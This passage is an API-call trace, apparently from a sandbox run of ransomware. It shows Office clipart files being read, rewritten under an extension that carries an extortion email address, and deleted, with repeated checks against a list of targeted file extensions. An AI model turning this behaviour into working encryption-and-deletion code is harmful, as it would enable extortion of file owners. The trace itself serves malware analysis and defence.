	[0185.031] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0185.033] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.033] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.033] SetEndOfFile (hFile=0x520) returned 1
	[0185.033] CloseHandle (hObject=0x520) returned 1
	[0185.033] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.033] SetEndOfFile (hFile=0x540) returned 1
	[0185.036] CloseHandle (hObject=0x540) returned 1
	[0185.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1
	[0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.038] lstrlenW (lpString=".doc") returned 4
	[0185.038] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.038] lstrlenW (lpString=".docx") returned 5
	[0185.038] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.038] lstrlenW (lpString=".pdf") returned 4
	[0185.038] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.038] lstrlenW (lpString=".xls") returned 4
	[0185.038] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.038] lstrlenW (lpString=".xlsx") returned 5
	[0185.038] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.038] lstrlenW (lpString=".ppt") returned 4
	[0185.038] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.038] lstrlenW (lpString=".zip") returned 4
	[0185.038] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.038] lstrlenW (lpString=".rar") returned 4
	[0185.039] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString=".bz2") returned 4
	[0185.039] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString=".7z") returned 3
	[0185.039] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString=".dbf") returned 4
	[0185.039] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString=".1cd") returned 4
	[0185.039] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString=".jpg") returned 4
	[0185.039] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString=".doc") returned 4
	[0185.039] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString=".docx") returned 5
	[0185.039] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0185.039] lstrlenW (lpString=".pdf") returned 4
	[0185.039] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString=".xls") returned 4
	[0185.039] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.039] lstrlenW (lpString=".xlsx") returned 5
	[0185.039] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0185.039] lstrlenW (lpString=".ppt") returned 4
	[0185.039] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.039] lstrlenW (lpString=".zip") returned 4
	[0185.039] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.039] lstrlenW (lpString=".rar") returned 4
	[0185.040] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.040] lstrlenW (lpString=".bz2") returned 4
	[0185.040] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.040] lstrlenW (lpString=".7z") returned 3
	[0185.040] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.040] lstrlenW (lpString=".dbf") returned 4
	[0185.040] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.040] lstrlenW (lpString=".1cd") returned 4
	[0185.040] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0185.040] lstrlenW (lpString=".jpg") returned 4
	[0185.040] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.040] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.040] lstrlenW (lpString="J0152702.WMF") returned 12
	[0185.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.043] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=1208) returned 1
	[0185.043] CloseHandle (hObject=0x540) returned 1
	[0185.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 0x220
	[0185.043] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.044] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.044] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.044] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0185.045] GetLastError () returned 0x0
	[0185.045] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x4b8, lpOverlapped=0x0) returned 1
	[0185.207] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0185.209] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.209] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.209] SetEndOfFile (hFile=0x520) returned 1
	[0185.531] CloseHandle (hObject=0x520) returned 1
	[0185.531] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.532] SetEndOfFile (hFile=0x540) returned 1
	[0185.539] CloseHandle (hObject=0x540) returned 1
	[0185.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf")) returned 1
	[0185.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.542] lstrlenW (lpString=".doc") returned 4
	[0185.542] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString=".docx") returned 5
	[0185.542] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.542] lstrlenW (lpString=".pdf") returned 4
	[0185.542] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString=".xls") returned 4
	[0185.542] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.542] lstrlenW (lpString=".xlsx") returned 5
	[0185.542] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.542] lstrlenW (lpString=".ppt") returned 4
	[0185.542] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.542] lstrlenW (lpString=".zip") returned 4
	[0185.542] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.542] lstrlenW (lpString=".rar") returned 4
	[0185.542] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString=".bz2") returned 4
	[0185.542] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString=".7z") returned 3
	[0185.542] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.542] lstrlenW (lpString=".dbf") returned 4
	[0185.542] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.542] lstrlenW (lpString=".1cd") returned 4
	[0185.543] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.543] lstrlenW (lpString=".jpg") returned 4
	[0185.543] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.543] lstrlenW (lpString=".doc") returned 4
	[0185.543] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString=".docx") returned 5
	[0185.543] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0185.543] lstrlenW (lpString=".pdf") returned 4
	[0185.543] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString=".xls") returned 4
	[0185.543] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.543] lstrlenW (lpString=".xlsx") returned 5
	[0185.543] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0185.543] lstrlenW (lpString=".ppt") returned 4
	[0185.543] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.543] lstrlenW (lpString=".zip") returned 4
	[0185.543] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.543] lstrlenW (lpString=".rar") returned 4
	[0185.543] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString=".bz2") returned 4
	[0185.543] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.543] lstrlenW (lpString=".7z") returned 3
	[0185.543] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.543] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.544] lstrlenW (lpString=".dbf") returned 4
	[0185.544] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.544] lstrlenW (lpString=".1cd") returned 4
	[0185.544] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.544] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF") returned 68
	[0185.544] lstrlenW (lpString=".jpg") returned 4
	[0185.544] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.544] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.544] lstrlenW (lpString="J0152876.WMF") returned 12
	[0185.544] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.546] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=7876) returned 1
	[0185.546] CloseHandle (hObject=0x540) returned 1
	[0185.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 0x220
	[0185.546] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.546] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.547] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.547] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0185.548] GetLastError () returned 0x0
	[0185.548] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x1ec4, lpOverlapped=0x0) returned 1
	[0185.551] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0x1ed0, lpOverlapped=0x0) returned 1
	[0185.552] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x0, lpOverlapped=0x0) returned 1
	[0185.552] WriteFile (in: hFile=0x520, lpBuffer=0x3949020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc94, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesWritten=0x2befc94*=0xec, lpOverlapped=0x0) returned 1
	[0185.553] SetEndOfFile (hFile=0x520) returned 1
	[0185.553] CloseHandle (hObject=0x520) returned 1
	[0185.553] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.553] SetEndOfFile (hFile=0x540) returned 1
	[0185.556] CloseHandle (hObject=0x540) returned 1
	[0185.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0185.557] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152876.wmf")) returned 1
	[0185.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.558] lstrlenW (lpString=".doc") returned 4
	[0185.558] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.558] lstrlenW (lpString=".docx") returned 5
	[0185.558] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.558] lstrlenW (lpString=".pdf") returned 4
	[0185.558] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.558] lstrlenW (lpString=".xls") returned 4
	[0185.558] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.558] lstrlenW (lpString=".xlsx") returned 5
	[0185.558] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.558] lstrlenW (lpString=".ppt") returned 4
	[0185.558] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.558] lstrlenW (lpString=".zip") returned 4
	[0185.558] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.558] lstrlenW (lpString=".rar") returned 4
	[0185.558] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.558] lstrlenW (lpString=".bz2") returned 4
	[0185.558] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.558] lstrlenW (lpString=".7z") returned 3
	[0185.558] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.558] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString=".dbf") returned 4
	[0185.559] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString=".1cd") returned 4
	[0185.559] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString=".jpg") returned 4
	[0185.559] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString=".doc") returned 4
	[0185.559] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString=".docx") returned 5
	[0185.559] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0185.559] lstrlenW (lpString=".pdf") returned 4
	[0185.559] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString=".xls") returned 4
	[0185.559] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0185.559] lstrlenW (lpString=".xlsx") returned 5
	[0185.559] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0185.559] lstrlenW (lpString=".ppt") returned 4
	[0185.559] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.559] lstrlenW (lpString=".zip") returned 4
	[0185.559] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0185.559] lstrlenW (lpString=".rar") returned 4
	[0185.559] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0185.559] lstrlenW (lpString=".bz2") returned 4
	[0185.560] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0185.560] lstrlenW (lpString=".7z") returned 3
	[0185.560] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0185.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.560] lstrlenW (lpString=".dbf") returned 4
	[0185.560] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0185.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.560] lstrlenW (lpString=".1cd") returned 4
	[0185.560] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0185.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152876.WMF") returned 68
	[0185.560] lstrlenW (lpString=".jpg") returned 4
	[0185.560] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0185.560] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0185.560] lstrlenW (lpString="J0152878.WMF") returned 12
	[0185.560] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.562] GetFileSizeEx (in: hFile=0x540, lpFileSize=0x2beff14 | out: lpFileSize=0x2beff14*=14888) returned 1
	[0185.562] CloseHandle (hObject=0x540) returned 1
	[0185.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf")) returned 0x220
	[0185.562] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0185.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0185.563] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.563] SetFilePointerEx (in: hFile=0x540, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec0 | out: lpNewFilePointer=0x0) returned 1
	[0185.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152878.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152878.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520
	[0185.564] GetLastError () returned 0x0
	[0185.564] ReadFile (in: hFile=0x540, lpBuffer=0x3949020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befecc, lpOverlapped=0x0 | out: lpBuffer=0x3949020*, lpNumberOfBytesRead=0x2befecc*=0x3a28, lpOverlapped=0x0) returned 1
